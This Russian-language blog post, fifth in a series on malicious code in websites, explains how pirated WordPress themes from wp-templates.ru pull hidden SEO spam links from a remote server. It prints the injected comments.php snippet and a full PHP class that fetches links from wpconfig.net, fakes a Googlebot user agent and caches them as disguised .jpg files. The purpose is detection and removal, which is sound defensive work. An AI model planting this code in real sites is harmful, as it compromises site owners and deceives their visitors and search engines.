С предыдущими публикациями на эту тему можно ознакомится у нас на сайте:
Вредоносный код на сайте, что же делать? Часть 1.
В статье рассматривались случаи вложения скрытых (спамных ссылок) в бесплатных шаблонах движка Вордпресс, методы, как найти данные вредоносные вложения, как их удалить, как пользоваться плагином TAC.
Вредоносный код на сайте, что же делать? Часть 2.
Во второй части статьи мы давали общие рекомендации по устранению вредоносного кода на сайте.
Вредоносный код на сайте, что же делать? Часть 3.
А в третьей части мы показали на примере
Вредоносный код на сайте, а кто за кулисами? Часть 4.
В четвертой части статьи мы рассказали Вам о тех, кто этими плохими делами занимается.
Казалось бы, что мы описали уже все возможные ситуации, когда Вам в шаблоны оформления (темы) или в сам движок (CMS) сайта внедрен вредоносный код. А вот и нет. Фантазия кибер-мошенников и "черных сеошников" просто безгранична. Ведь шанс быть безжалостно удаленным, этому вредоносному коду, который заложен в шаблоны оформления сайта - уж очень велик. Уже не помогает и шифрование (см. Вредоносный код на сайте, что же делать? Часть 3.). "Левые ссылки" все равно находят веб-мастера, и безо всякого на то сожаления, удаляют с сайта.
"А что если подкачивать вредоносные ссылки на "сайт-жертву" прямо в режиме он-лайн?" - подумали веб-мошенники и ...смело осуществили эту идею. Итак, излагаю идею кратко, опять для CMS WordPress, но думаю, что и для других популярных бесплатных движков - уже существуют подобные "черные схемы" закладки "вредоносов".
Первое, что должно Вас насторожить - это несоразмерно большие по объему файла логи с ошибками (файлы типа error.log), которые Вы выкачиваете с админ-панели Вашего хостинга.
Конечно, может быть и другая причина для большого количества ошибок на сайте ("глючные плагины", нерабочие скрипты), но если вдруг других причин нет - то насторожитесь...
Второе, на что надо обратить внимание: это папка .../wp-content/uploads/2011/ (2012, 2013 или 2010) - это та папка в Вордпрессе, куда обычно загружаются картинки и медиа-файлы. Как правило, контент туда подгружает только владелец сайта и авторы блога.
Поэтому обратите внимание, если там появилось множество файлов вида 6f7dafa343e779ed11305457063b481a.jpg, причем не все из них пустые (т.е. нулевые по размеру). Почему-то в графическом редакторе они вообще не открываются... Но зато открываются в текстовом редакторе (например, в обычном блокноте или в Notepad++).
Т.е. это отнюдь не картинка, это текстовый файл, который "замаскирован" под картинку, а содержит он "вредоносную ссылку".
Смотрим ниже, как выглядит этот файл:
<!-- wp-templates.ru/rules правила ссылки >> --> <div id="posts"> Лучший сайт по ремонту телефонов: <a href="http://mobiteh.com/">mobiteh.com</a> .</div><noindex><style>#posts{position:absolute;left:-1960px;}</style></noindex>
Вот такой тег {position:absolute;left:-1960px;} - говорит о том, что данная ссылка скрыта от пользователя (т.е. выводится вне зоны видимости сайта), но зато хорошо доступна поисковому роботу!!!
Теперь нам надо найти, какой же кусок кода запускает на нашем сайте скрипт, который в режиме "он-лайн" закачивает к нам на сайт вредоносные ссылки в папку .../wp-content/uploads/2011/ (2012, 2013 или 2010)?
Подскажу Вам, где это "добро" искать:
Оказалось, что в комментариях к статьям злоумышленники незаметно подкладывают "свои левые ссылки":
Этот код нужно удалить:
Открываем файл comments.php
<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
Ну и это еще не все:
В файле functions.php есть класс Get_links:
class Get_links {
var $host = ’wpconfig.net’;
var $path = ’/system.php’;
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;function get_remote() {
$req_url = ’http://’.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = »Mozilla/5.0 (compatible; Googlebot/2.1; ».$req_url.»)»;$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;@ini_set(‘allow_url_fopen’, 1);
@ini_set(‘default_socket_timeout’, $_socket_timeout);
@ini_set(‘user_agent’, $_user_agent);if (function_exists(‘file_get_contents’)) {
$opts = array(
‘http’=>array(
‘method’=>»GET»,
‘header’=>»Referer: {$req_url}\r\n».
«User-Agent: {$_user_agent}\r\n»
)
);
$context = stream_context_create($opts);$data = @file_get_contents(‘http://’ . $host . $path, false, $context);
preg_match(‘/(\)(.*?)(\)/’, $data, $data);
$data = @$data[2];
return $data;
}
return ’’;
}function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.’wp-content/uploads/2011/’.md5($_SERVER['REQUEST_URI']).’.jpg’;
$_cache_lifetime = $links_class->_cache_lifetime;if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
Этот код тоже обязательно удалите! Может быть у Вас он будет немного не такой, но суть его именно в классе Get_links.
Как это работает?
Применив метод get_remote(), скрипт подгружает и возвращает ссылки по адресу wpconfig.net/system.php, метод return_links() использует локальный файл (если есть) соответствующий md5 хешу запрашиваемого адреса с сохраненными ссылками или загружает ссылки используя метод get_remote() и сохраняет их в файл.
В файле Comments.php создается функция Get_links и вызывается return_links.
Вот так все это и работает. Распространяет такие "зараженные шаблоны" известный сайт wp-templates.ru
Наш совет, не закачивайте там ничего, а если уж закачали, то знайте, что Вашему шаблону - предстоит "большая зачистка" от вредоносных ссылок и скриптов.
Кто и зачем делает это, мы рассказали в прошлом выпуске нашей тематической подборки о вредоносном коде на сайте (Вредоносный код на сайте, а кто за кулисами? Часть 4.)
Добавим только, что на размещение ссылок этим методом (с помощью подкачки скриптом) мы увидели рекламу и "набор клиентов" на раскрутку сайтов на одном очень известном "сеошном форуме" (ссылку не даем, мошенникам рекламу не делаем):
"Предлагаю услугу по размещению 500 скрытых ссылок, встроенных в шаблоны сайтов, ссылки не сквозные"...
Причем черный сеошник так сильно рекламирует свою услугу, что даже забывает, что он занимается продвижением сайтов не просто с помощью методов "черного СЕО", а вообще-то уже с помощью взлома чужих сайтов (внедрения на сайт вредоносных скриптов), что подпадает под уголовную ответственность. Хотя на форуме он потенциальным клиентам пытается выдать свою криминальную деятельность за вполне себе "невинный прогон" для повышения ТИЦ и PR. Причем самого злоумышленника поймать не так-то просто "за руку", он скрывается за анонимными "никами" на форумах, "левыми IP" и подставными сайтами... А вот клиенты, которые за "свои кровные" - заказали такую вот раскрутку для своих сайтов - они все "на виду", это их ссылки находит веб-мастер при обнаружении у себя вредоносного кода. И поэтому применить к ним может любые меры "возмездия" - от санкций поисковиков (по жалобе в суппорт от пострадавшего веб-мастера) и ... до уголовной ответственности за взлом своего сайта.
Подробно читайте, почему все-таки не стоит связываться с такими "крутыми специалистами по раскрутке сайтов", мы писали в об этом в статье Вредоносный код на сайте, а кто за кулисами? Часть 4.
На сегодня все о вредоносном коде на сайте. Но думаем, продолжение следует...
p.s. Кстати, для CMS WordPress существуют плагины, которые позволяют "закрыть" все исходящие ссылки с Вашего сайта для индексации поисковиками. Эти плагины Вам помогут скрыть нежелательные ссылки от индексации поисковиками, сохранить Ваши сео-параметры (ТИЦ и PR), а также избежать санкций от Яндекс и Гугл. Но конечно же использование плагинов - это только дополнительная мера для удобства Вашей работы, что никак не отменяет борьбу с вредоносным кодом на сайте.
Это плагины WP No External Links и WP-NoRef.
Этот плагин позволяет маскировать все внешние ссылки и делать их внутренними или прятать, используя специальные редиректы и атрибуты. Между прочим, в базе он ничего не правит - вся замена производится только при выдаче документа пользователю. Плагин не маскирует внутренние, а так же исключённые из маскировки ссылки.
Плагин предназначен для помещения всех внешних ссылок в опубликованных на блоге постах и комментариях в тег noindex
и добавления к ним атрибутов nofollow
для скрытия их от поисковых систем. Таким образом можно значительно уменьшить количество внешних ссылок
Отправить статью в социальные сети, на печать, e-mail и в другие сервисы: